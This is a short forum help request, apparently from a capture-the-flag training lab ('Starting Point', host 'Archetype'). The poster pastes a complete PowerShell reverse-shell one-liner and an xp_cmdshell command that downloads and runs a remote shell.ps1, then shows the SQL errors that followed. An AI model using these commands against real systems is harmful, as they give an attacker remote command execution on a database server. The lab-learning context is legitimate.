Starting point

Hello, I'm having the following message. Can anyone help please?

SQL> $client = New-Object System.Net.Sockets.TCPClient("10.10.14.6",443);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "# ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()
output


archetype\sql_svc

NULL

SQL>
SQL>
SQL> xp_cmdshell "powershell "IEX (New-Object Net.WebClient).DownloadString(\"http://10.10.14.6/shell.ps1\");"
[-] ERROR(ARCHETYPE): Line 1: Incorrect syntax near '$client'.
[-] ERROR(ARCHETYPE): Line 1: The identifier that starts with 'byte[]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Te' is too long. Maximum length is 128.

Sign In to comment.